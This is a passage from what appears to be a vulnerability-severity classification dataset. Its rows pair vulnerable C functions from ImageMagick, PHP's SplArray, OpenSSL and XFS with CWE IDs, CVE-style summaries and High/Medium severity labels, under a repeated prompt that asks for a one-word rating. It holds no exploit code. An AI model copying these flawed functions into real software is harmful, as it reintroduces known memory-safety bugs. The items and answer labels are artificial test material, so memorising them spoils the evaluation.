sizeof(uint32));
if (pixel_info == (MemoryInfo *) NULL)
{
TIFFClose(tiff);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
pixels=(uint32 *) GetVirtualMemoryBlob(pixel_info);
(void) TIFFReadRGBAImage(tiff,(uint32) image->columns,(uint32)
image->rows,(uint32 *) pixels,0);
/*
Convert image to DirectClass pixel packets.
*/
p=pixels+number_pixels-1;
for (y=0; y < (ssize_t) image->rows; y++)
{
register ssize_t
x;
register PixelPacket
*magick_restrict q;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
q+=image->columns-1;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelRed(q,ScaleCharToQuantum((unsigned char) TIFFGetR(*p)));
SetPixelGreen(q,ScaleCharToQuantum((unsigned char) TIFFGetG(*p)));
SetPixelBlue(q,ScaleCharToQuantum((unsigned char) TIFFGetB(*p)));
if (image->matte != MagickFalse)
SetPixelAlpha(q,ScaleCharToQuantum((unsigned char) TIFFGetA(*p)));
p--;
q--;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
pixel_info=RelinquishVirtualMemory(pixel_info);
break;
}
}
SetQuantumImageType(image,quantum_type);
next_tiff_frame:
quantum_info=DestroyQuantumInfo(quantum_info);
if (photometric == PHOTOMETRIC_CIELAB)
DecodeLabImage(image,exception);
if ((photometric == PHOTOMETRIC_LOGL) ||
(photometric == PHOTOMETRIC_MINISBLACK) ||
(photometric == PHOTOMETRIC_MINISWHITE))
{
image->type=GrayscaleType;
if (bits_per_sample == 1)
image->type=BilevelType;
}
/*
Proceed to next image.
*/
if (image_info->number_scenes != 0)
if (image->scene >= (image_info->scene+image_info->number_scenes-1))
break;
status=TIFFReadDirectory(tiff) != 0 ? MagickTrue : MagickFalse;
if (status != MagickFalse)
{
/*
Allocate next image structure.
*/
AcquireNextImage(image_info,image);
if (GetNextImageInList(image) == (Image *) NULL)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
image=SyncNextImageInList(image);
status=SetImageProgress(image,LoadImagesTag,image->scene-1,
image->scene);
if (status == MagickFalse)
break;
}
} while (status != MagickFalse);
TIFFClose(tiff);
TIFFReadPhotoshopLayers(image,image_info,exception);
if (image_info->number_scenes != 0)
{
if (image_info->scene >= GetImageListLength(image))
{
/* Subimage was not found in the Photoshop layer */
image = DestroyImageList(image);
return((Image *)NULL);
}
}
return(GetFirstImageInList(image));
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: Buffer overflow in coders/tiff.c in ImageMagick before 6.9.4-1 allows remote attackers to cause a denial of service (application crash) or have unspecified other impact via a crafted TIFF file.
Commit Message: ... | Medium | 168,630 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static MagickBooleanType WritePICTImage(const ImageInfo *image_info,
Image *image)
{
#define MaxCount 128
#define PictCropRegionOp 0x01
#define PictEndOfPictureOp 0xff
#define PictJPEGOp 0x8200
#define PictInfoOp 0x0C00
#define PictInfoSize 512
#define PictPixmapOp 0x9A
#define PictPICTOp 0x98
#define PictVersion 0x11
const StringInfo
*profile;
double
x_resolution,
y_resolution;
MagickBooleanType
status;
MagickOffsetType
offset;
PICTPixmap
pixmap;
PICTRectangle
bounds,
crop_rectangle,
destination_rectangle,
frame_rectangle,
size_rectangle,
source_rectangle;
register const IndexPacket
*indexes;
register const PixelPacket
*p;
register ssize_t
i,
x;
size_t
bytes_per_line,
count,
row_bytes,
storage_class;
ssize_t
y;
unsigned char
*buffer,
*packed_scanline,
*scanline;
unsigned short
base_address,
transfer_mode;
/*
Open output image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
assert(image != (Image *) NULL);
assert(image->signature == MagickSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
if ((image->columns > 65535L) || (image->rows > 65535L))
ThrowWriterException(ImageError,"WidthOrHeightExceedsLimit");
status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);
if (status == MagickFalse)
return(status);
if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse)
(void) TransformImageColorspace(image,sRGBColorspace);
/*
Initialize image info.
*/
size_rectangle.top=0;
size_rectangle.left=0;
size_rectangle.bottom=(short) image->rows;
size_rectangle.right=(short) image->columns;
frame_rectangle=size_rectangle;
crop_rectangle=size_rectangle;
source_rectangle=size_rectangle;
destination_rectangle=size_rectangle;
base_address=0xff;
row_bytes=image->columns;
bounds.top=0;
bounds.left=0;
bounds.bottom=(short) image->rows;
bounds.right=(short) image->columns;
pixmap.version=0;
pixmap.pack_type=0;
pixmap.pack_size=0;
pixmap.pixel_type=0;
pixmap.bits_per_pixel=8;
pixmap.component_count=1;
pixmap.component_size=8;
pixmap.plane_bytes=0;
pixmap.table=0;
pixmap.reserved=0;
transfer_mode=0;
x_resolution=image->x_resolution != 0.0 ? image->x_resolution :
DefaultResolution;
y_resolution=image->y_resolution != 0.0 ? image->y_resolution :
DefaultResolution;
storage_class=image->storage_class;
if (image_info->compression == JPEGCompression)
storage_class=DirectClass;
if (storage_class == DirectClass)
{
pixmap.component_count=image->matte != MagickFalse ? 4 : 3;
pixmap.pixel_type=16;
pixmap.bits_per_pixel=32;
pixmap.pack_type=0x04;
transfer_mode=0x40;
row_bytes=4*image->columns;
}
/*
Allocate memory.
*/
bytes_per_line=image->columns;
if (storage_class == DirectClass)
bytes_per_line*=image->matte != MagickFalse ? 4 : 3;
buffer=(unsigned char *) AcquireQuantumMemory(PictInfoSize,sizeof(*buffer));
packed_scanline=(unsigned char *) AcquireQuantumMemory((size_t)
(row_bytes+MaxCount),sizeof(*packed_scanline));
scanline=(unsigned char *) AcquireQuantumMemory(row_bytes,sizeof(*scanline));
if ((buffer == (unsigned char *) NULL) ||
(packed_scanline == (unsigned char *) NULL) ||
(scanline == (unsigned char *) NULL))
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
(void) ResetMagickMemory(scanline,0,row_bytes);
(void) ResetMagickMemory(packed_scanline,0,(size_t) (row_bytes+MaxCount));
/*
Write header, header size, size bounding box, version, and reserved.
*/
(void) ResetMagickMemory(buffer,0,PictInfoSize);
(void) WriteBlob(image,PictInfoSize,buffer);
(void) WriteBlobMSBShort(image,0);
(void) WriteBlobMSBShort(image,(unsigned short) size_rectangle.top);
(void) WriteBlobMSBShort(image,(unsigned short) size_rectangle.left);
(void) WriteBlobMSBShort(image,(unsigned short) size_rectangle.bottom);
(void) WriteBlobMSBShort(image,(unsigned short) size_rectangle.right);
(void) WriteBlobMSBShort(image,PictVersion);
(void) WriteBlobMSBShort(image,0x02ff); /* version #2 */
(void) WriteBlobMSBShort(image,PictInfoOp);
(void) WriteBlobMSBLong(image,0xFFFE0000UL);
/*
Write full size of the file, resolution, frame bounding box, and reserved.
*/
(void) WriteBlobMSBShort(image,(unsigned short) x_resolution);
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBShort(image,(unsigned short) y_resolution);
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBShort(image,(unsigned short) frame_rectangle.top);
(void) WriteBlobMSBShort(image,(unsigned short) frame_rectangle.left);
(void) WriteBlobMSBShort(image,(unsigned short) frame_rectangle.bottom);
(void) WriteBlobMSBShort(image,(unsigned short) frame_rectangle.right);
(void) WriteBlobMSBLong(image,0x00000000L);
profile=GetImageProfile(image,"iptc");
if (profile != (StringInfo *) NULL)
{
(void) WriteBlobMSBShort(image,0xa1);
(void) WriteBlobMSBShort(image,0x1f2);
(void) WriteBlobMSBShort(image,(unsigned short)
(GetStringInfoLength(profile)+4));
(void) WriteBlobString(image,"8BIM");
(void) WriteBlob(image,GetStringInfoLength(profile),
GetStringInfoDatum(profile));
}
profile=GetImageProfile(image,"icc");
if (profile != (StringInfo *) NULL)
{
(void) WriteBlobMSBShort(image,0xa1);
(void) WriteBlobMSBShort(image,0xe0);
(void) WriteBlobMSBShort(image,(unsigned short)
(GetStringInfoLength(profile)+4));
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlob(image,GetStringInfoLength(profile),
GetStringInfoDatum(profile));
(void) WriteBlobMSBShort(image,0xa1);
(void) WriteBlobMSBShort(image,0xe0);
(void) WriteBlobMSBShort(image,4);
(void) WriteBlobMSBLong(image,0x00000002UL);
}
/*
Write crop region opcode and crop bounding box.
*/
(void) WriteBlobMSBShort(image,PictCropRegionOp);
(void) WriteBlobMSBShort(image,0xa);
(void) WriteBlobMSBShort(image,(unsigned short) crop_rectangle.top);
(void) WriteBlobMSBShort(image,(unsigned short) crop_rectangle.left);
(void) WriteBlobMSBShort(image,(unsigned short) crop_rectangle.bottom);
(void) WriteBlobMSBShort(image,(unsigned short) crop_rectangle.right);
if (image_info->compression == JPEGCompression)
{
Image
*jpeg_image;
ImageInfo
*jpeg_info;
size_t
length;
unsigned char
*blob;
jpeg_image=CloneImage(image,0,0,MagickTrue,&image->exception);
if (jpeg_image == (Image *) NULL)
{
(void) CloseBlob(image);
return(MagickFalse);
}
jpeg_info=CloneImageInfo(image_info);
(void) CopyMagickString(jpeg_info->magick,"JPEG",MaxTextExtent);
length=0;
blob=(unsigned char *) ImageToBlob(jpeg_info,jpeg_image,&length,
&image->exception);
jpeg_info=DestroyImageInfo(jpeg_info);
if (blob == (unsigned char *) NULL)
return(MagickFalse);
jpeg_image=DestroyImage(jpeg_image);
(void) WriteBlobMSBShort(image,PictJPEGOp);
(void) WriteBlobMSBLong(image,(unsigned int) length+154);
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBLong(image,0x00010000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00010000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x40000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00400000UL);
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBShort(image,(unsigned short) image->rows);
(void) WriteBlobMSBShort(image,(unsigned short) image->columns);
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBShort(image,768);
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00566A70UL);
(void) WriteBlobMSBLong(image,0x65670000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000001UL);
(void) WriteBlobMSBLong(image,0x00016170UL);
(void) WriteBlobMSBLong(image,0x706C0000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBShort(image,768);
(void) WriteBlobMSBShort(image,(unsigned short) image->columns);
(void) WriteBlobMSBShort(image,(unsigned short) image->rows);
(void) WriteBlobMSBShort(image,(unsigned short) x_resolution);
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBShort(image,(unsigned short) y_resolution);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x87AC0001UL);
(void) WriteBlobMSBLong(image,0x0B466F74UL);
(void) WriteBlobMSBLong(image,0x6F202D20UL);
(void) WriteBlobMSBLong(image,0x4A504547UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x00000000UL);
(void) WriteBlobMSBLong(image,0x0018FFFFUL);
(void) WriteBlob(image,length,blob);
if ((length & 0x01) != 0)
(void) WriteBlobByte(image,'\0');
blob=(unsigned char *) RelinquishMagickMemory(blob);
}
/*
Write picture opcode, row bytes, and picture bounding box, and version.
*/
if (storage_class == PseudoClass)
(void) WriteBlobMSBShort(image,PictPICTOp);
else
{
(void) WriteBlobMSBShort(image,PictPixmapOp);
(void) WriteBlobMSBLong(image,(size_t) base_address);
}
(void) WriteBlobMSBShort(image,(unsigned short) (row_bytes | 0x8000));
(void) WriteBlobMSBShort(image,(unsigned short) bounds.top);
(void) WriteBlobMSBShort(image,(unsigned short) bounds.left);
(void) WriteBlobMSBShort(image,(unsigned short) bounds.bottom);
(void) WriteBlobMSBShort(image,(unsigned short) bounds.right);
/*
Write pack type, pack size, resolution, pixel type, and pixel size.
*/
(void) WriteBlobMSBShort(image,(unsigned short) pixmap.version);
(void) WriteBlobMSBShort(image,(unsigned short) pixmap.pack_type);
(void) WriteBlobMSBLong(image,(unsigned int) pixmap.pack_size);
(void) WriteBlobMSBShort(image,(unsigned short) (x_resolution+0.5));
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBShort(image,(unsigned short) (y_resolution+0.5));
(void) WriteBlobMSBShort(image,0x0000);
(void) WriteBlobMSBShort(image,(unsigned short) pixmap.pixel_type);
(void) WriteBlobMSBShort(image,(unsigned short) pixmap.bits_per_pixel);
/*
Write component count, size, plane bytes, table size, and reserved.
*/
(void) WriteBlobMSBShort(image,(unsigned short) pixmap.component_count);
(void) WriteBlobMSBShort(image,(unsigned short) pixmap.component_size);
(void) WriteBlobMSBLong(image,(unsigned int) pixmap.plane_bytes);
(void) WriteBlobMSBLong(image,(unsigned int) pixmap.table);
(void) WriteBlobMSBLong(image,(unsigned int) pixmap.reserved);
if (storage_class == PseudoClass)
{
/*
Write image colormap.
*/
(void) WriteBlobMSBLong(image,0x00000000L); /* color seed */
(void) WriteBlobMSBShort(image,0L); /* color flags */
(void) WriteBlobMSBShort(image,(unsigned short) (image->colors-1));
for (i=0; i < (ssize_t) image->colors; i++)
{
(void) WriteBlobMSBShort(image,(unsigned short) i);
(void) WriteBlobMSBShort(image,ScaleQuantumToShort(
image->colormap[i].red));
(void) WriteBlobMSBShort(image,ScaleQuantumToShort(
image->colormap[i].green));
(void) WriteBlobMSBShort(image,ScaleQuantumToShort(
image->colormap[i].blue));
}
}
/*
Write source and destination rectangle.
*/
(void) WriteBlobMSBShort(image,(unsigned short) source_rectangle.top);
(void) WriteBlobMSBShort(image,(unsigned short) source_rectangle.left);
(void) WriteBlobMSBShort(image,(unsigned short) source_rectangle.bottom);
(void) WriteBlobMSBShort(image,(unsigned short) source_rectangle.right);
(void) WriteBlobMSBShort(image,(unsigned short) destination_rectangle.top);
(void) WriteBlobMSBShort(image,(unsigned short) destination_rectangle.left);
(void) WriteBlobMSBShort(image,(unsigned short) destination_rectangle.bottom);
(void) WriteBlobMSBShort(image,(unsigned short) destination_rectangle.right);
(void) WriteBlobMSBShort(image,(unsigned short) transfer_mode);
/*
Write picture data.
*/
count=0;
if (storage_class == PseudoClass)
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
indexes=GetVirtualIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
scanline[x]=(unsigned char) GetPixelIndex(indexes+x);
count+=EncodeImage(image,scanline,(size_t) (row_bytes & 0x7FFF),
packed_scanline);
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
else
if (image_info->compression == JPEGCompression)
{
(void) ResetMagickMemory(scanline,0,row_bytes);
for (y=0; y < (ssize_t) image->rows; y++)
count+=EncodeImage(image,scanline,(size_t) (row_bytes & 0x7FFF),
packed_scanline);
}
else
{
register unsigned char
*blue,
*green,
*opacity,
*red;
red=scanline;
green=scanline+image->columns;
blue=scanline+2*image->columns;
opacity=scanline+3*image->columns;
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
red=scanline;
green=scanline+image->columns;
blue=scanline+2*image->columns;
if (image->matte != MagickFalse)
{
opacity=scanline;
red=scanline+image->columns;
green=scanline+2*image->columns;
blue=scanline+3*image->columns;
}
for (x=0; x < (ssize_t) image->columns; x++)
{
*red++=ScaleQuantumToChar(GetPixelRed(p));
*green++=ScaleQuantumToChar(GetPixelGreen(p));
*blue++=ScaleQuantumToChar(GetPixelBlue(p));
if (image->matte != MagickFalse)
*opacity++=ScaleQuantumToChar((Quantum) (GetPixelAlpha(p)));
p++;
}
count+=EncodeImage(image,scanline,bytes_per_line,packed_scanline);
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
}
if ((count & 0x01) != 0)
(void) WriteBlobByte(image,'\0');
(void) WriteBlobMSBShort(image,PictEndOfPictureOp);
offset=TellBlob(image);
offset=SeekBlob(image,512,SEEK_SET);
(void) WriteBlobMSBShort(image,(unsigned short) offset);
scanline=(unsigned char *) RelinquishMagickMemory(scanline);
packed_scanline=(unsigned char *) RelinquishMagickMemory(packed_scanline);
buffer=(unsigned char *) RelinquishMagickMemory(buffer);
(void) CloseBlob(image);
return(MagickTrue);
}
Vulnerability Type:
CWE ID: CWE-772
Summary: ImageMagick 7.0.6-2 has a memory leak vulnerability in WritePICTImage in coders/pict.c.
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/577 | Medium | 167,972 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: SPL_METHOD(Array, unserialize)
{
spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(getThis() TSRMLS_CC);
char *buf;
int buf_len;
const unsigned char *p, *s;
php_unserialize_data_t var_hash;
zval *pmembers, *pflags = NULL;
HashTable *aht;
long flags;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &buf, &buf_len) == FAILURE) {
return;
}
if (buf_len == 0) {
return;
}
aht = spl_array_get_hash_table(intern, 0 TSRMLS_CC);
if (aht->nApplyCount > 0) {
zend_error(E_WARNING, "Modification of ArrayObject during sorting is prohibited");
return;
}
/* storage */
s = p = (const unsigned char*)buf;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (*p!= 'x' || *++p != ':') {
goto outexcept;
}
++p;
ALLOC_INIT_ZVAL(pflags);
if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
goto outexcept;
}
var_push_dtor(&var_hash, &pflags);
--p; /* for ';' */
flags = Z_LVAL_P(pflags);
/* flags needs to be verified and we also need to verify whether the next
* thing we get is ';'. After that we require an 'm' or somethign else
* where 'm' stands for members and anything else should be an array. If
* neither 'a' or 'm' follows we have an error. */
if (*p != ';') {
goto outexcept;
}
++p;
if (*p!='m') {
if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
goto outexcept;
}
intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
zval_ptr_dtor(&intern->array);
ALLOC_INIT_ZVAL(intern->array);
if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
goto outexcept;
}
var_push_dtor(&var_hash, &intern->array);
}
if (*p != ';') {
goto outexcept;
}
++p;
/* members */
if (*p!= 'm' || *++p != ':') {
goto outexcept;
}
++p;
ALLOC_INIT_ZVAL(pmembers);
if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
zval_ptr_dtor(&pmembers);
goto outexcept;
}
var_push_dtor(&var_hash, &pmembers);
/* copy members */
if (!intern->std.properties) {
rebuild_object_properties(&intern->std);
}
zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
zval_ptr_dtor(&pmembers);
/* done reading $serialized */
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
if (pflags) {
zval_ptr_dtor(&pflags);
}
return;
outexcept:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
if (pflags) {
zval_ptr_dtor(&pflags);
}
zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
return;
} /* }}} */
/* {{{ arginfo and function table */
Vulnerability Type: DoS
CWE ID: CWE-20
Summary: ext/spl/spl_array.c in PHP before 5.6.26 and 7.x before 7.0.11 proceeds with SplArray unserialization without validating a return value and data type, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted serialized data.
Commit Message: Fix bug #73029 - Missing type check when unserializing SplArray | High | 166,930 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int ssl3_get_server_hello(SSL *s)
{
STACK_OF(SSL_CIPHER) *sk;
const SSL_CIPHER *c;
unsigned char *p,*d;
int i,al,ok;
unsigned int j;
long n;
#ifndef OPENSSL_NO_COMP
SSL_COMP *comp;
#endif
n=s->method->ssl_get_message(s,
SSL3_ST_CR_SRVR_HELLO_A,
SSL3_ST_CR_SRVR_HELLO_B,
-1,
20000, /* ?? */
&ok);
if (!ok) return((int)n);
if ( SSL_version(s) == DTLS1_VERSION || SSL_version(s) == DTLS1_BAD_VER)
{
if ( s->s3->tmp.message_type == DTLS1_MT_HELLO_VERIFY_REQUEST)
{
if ( s->d1->send_cookie == 0)
{
s->s3->tmp.reuse_message = 1;
return 1;
}
else /* already sent a cookie */
{
al=SSL_AD_UNEXPECTED_MESSAGE;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_BAD_MESSAGE_TYPE);
goto f_err;
}
}
}
if ( s->s3->tmp.message_type != SSL3_MT_SERVER_HELLO)
{
al=SSL_AD_UNEXPECTED_MESSAGE;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_BAD_MESSAGE_TYPE);
goto f_err;
}
d=p=(unsigned char *)s->init_msg;
if ((p[0] != (s->version>>8)) || (p[1] != (s->version&0xff)))
{
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_WRONG_SSL_VERSION);
s->version=(s->version&0xff00)|p[1];
al=SSL_AD_PROTOCOL_VERSION;
goto f_err;
}
p+=2;
/* load the server hello data */
/* load the server random */
memcpy(s->s3->server_random,p,SSL3_RANDOM_SIZE);
p+=SSL3_RANDOM_SIZE;
/* get the session-id */
j= *(p++);
if ((j > sizeof s->session->session_id) || (j > SSL3_SESSION_ID_SIZE))
{
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_SSL3_SESSION_ID_TOO_LONG);
goto f_err;
}
#ifndef OPENSSL_NO_TLSEXT
/* check if we want to resume the session based on external pre-shared secret */
if (s->version >= TLS1_VERSION && s->tls_session_secret_cb)
{
SSL_CIPHER *pref_cipher=NULL;
s->session->master_key_length=sizeof(s->session->master_key);
if (s->tls_session_secret_cb(s, s->session->master_key,
&s->session->master_key_length,
NULL, &pref_cipher,
s->tls_session_secret_cb_arg))
{
s->session->cipher = pref_cipher ?
pref_cipher : ssl_get_cipher_by_char(s, p+j);
s->s3->flags |= SSL3_FLAGS_CCS_OK;
}
}
#endif /* OPENSSL_NO_TLSEXT */
if (j != 0 && j == s->session->session_id_length
&& memcmp(p,s->session->session_id,j) == 0)
{
if(s->sid_ctx_length != s->session->sid_ctx_length
|| memcmp(s->session->sid_ctx,s->sid_ctx,s->sid_ctx_length))
{
/* actually a client application bug */
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_ATTEMPT_TO_REUSE_SESSION_IN_DIFFERENT_CONTEXT);
goto f_err;
}
s->s3->flags |= SSL3_FLAGS_CCS_OK;
s->hit=1;
}
else /* a miss or crap from the other end */
{
/* If we were trying for session-id reuse, make a new
* SSL_SESSION so we don't stuff up other people */
s->hit=0;
if (s->session->session_id_length > 0)
{
if (!ssl_get_new_session(s,0))
{
al=SSL_AD_INTERNAL_ERROR;
goto f_err;
}
}
s->session->session_id_length=j;
memcpy(s->session->session_id,p,j); /* j could be 0 */
}
p+=j;
c=ssl_get_cipher_by_char(s,p);
if (c == NULL)
{
/* unknown cipher */
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_UNKNOWN_CIPHER_RETURNED);
goto f_err;
}
/* TLS v1.2 only ciphersuites require v1.2 or later */
if ((c->algorithm_ssl & SSL_TLSV1_2) &&
(TLS1_get_version(s) < TLS1_2_VERSION))
{
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_WRONG_CIPHER_RETURNED);
goto f_err;
}
p+=ssl_put_cipher_by_char(s,NULL,NULL);
sk=ssl_get_ciphers_by_id(s);
/* Depending on the session caching (internal/external), the cipher
and/or cipher_id values may not be set. Make sure that
cipher_id is set and use it for comparison. */
if (s->session->cipher)
s->session->cipher_id = s->session->cipher->id;
if (s->hit && (s->session->cipher_id != c->id))
{
/* Workaround is now obsolete */
#if 0
if (!(s->options &
SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG))
#endif
{
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_OLD_SESSION_CIPHER_NOT_RETURNED);
goto f_err;
}
}
s->s3->tmp.new_cipher=c;
/* Don't digest cached records if TLS v1.2: we may need them for
* client authentication.
*/
if (TLS1_get_version(s) < TLS1_2_VERSION && !ssl3_digest_cached_records(s))
{
al = SSL_AD_INTERNAL_ERROR;
goto f_err;
}
/* lets get the compression algorithm */
/* COMPRESSION */
#ifdef OPENSSL_NO_COMP
if (*(p++) != 0)
{
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_UNSUPPORTED_COMPRESSION_ALGORITHM);
goto f_err;
}
/* If compression is disabled we'd better not try to resume a session
* using compression.
*/
if (s->session->compress_meth != 0)
{
al=SSL_AD_INTERNAL_ERROR;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_INCONSISTENT_COMPRESSION);
goto f_err;
}
#else
j= *(p++);
if (s->hit && j != s->session->compress_meth)
{
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_OLD_SESSION_COMPRESSION_ALGORITHM_NOT_RETURNED);
goto f_err;
}
if (j == 0)
comp=NULL;
else if (s->options & SSL_OP_NO_COMPRESSION)
{
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_COMPRESSION_DISABLED);
goto f_err;
}
else
comp=ssl3_comp_find(s->ctx->comp_methods,j);
if ((j != 0) && (comp == NULL))
{
al=SSL_AD_ILLEGAL_PARAMETER;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_UNSUPPORTED_COMPRESSION_ALGORITHM);
goto f_err;
}
else
{
s->s3->tmp.new_compression=comp;
}
#endif
#ifndef OPENSSL_NO_TLSEXT
/* TLS extensions*/
if (s->version >= SSL3_VERSION)
{
if (!ssl_parse_serverhello_tlsext(s,&p,d,n, &al))
{
/* 'al' set by ssl_parse_serverhello_tlsext */
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_PARSE_TLSEXT);
goto f_err;
}
if (ssl_check_serverhello_tlsext(s) <= 0)
{
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_SERVERHELLO_TLSEXT);
goto err;
}
}
#endif
if (p != (d+n))
{
/* wrong packet length */
al=SSL_AD_DECODE_ERROR;
SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,SSL_R_BAD_PACKET_LENGTH);
goto f_err;
}
return(1);
f_err:
ssl3_send_alert(s,SSL3_AL_FATAL,al);
err:
return(-1);
}
Vulnerability Type: DoS
CWE ID:
Summary: The ssl_set_client_disabled function in t1_lib.c in OpenSSL 1.0.1 before 1.0.1i allows remote SSL servers to cause a denial of service (NULL pointer dereference and client application crash) via a ServerHello message that includes an SRP ciphersuite without the required negotiation of that ciphersuite with the client.
Commit Message: | Medium | 165,022 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: xfs_acl_from_disk(struct xfs_acl *aclp)
{
struct posix_acl_entry *acl_e;
struct posix_acl *acl;
struct xfs_acl_entry *ace;
int count, i;
count = be32_to_cpu(aclp->acl_cnt);
if (count > XFS_ACL_MAX_ENTRIES)
return ERR_PTR(-EFSCORRUPTED);
acl = posix_acl_alloc(count, GFP_KERNEL);
if (!acl)
return ERR_PTR(-ENOMEM);
for (i = 0; i < count; i++) {
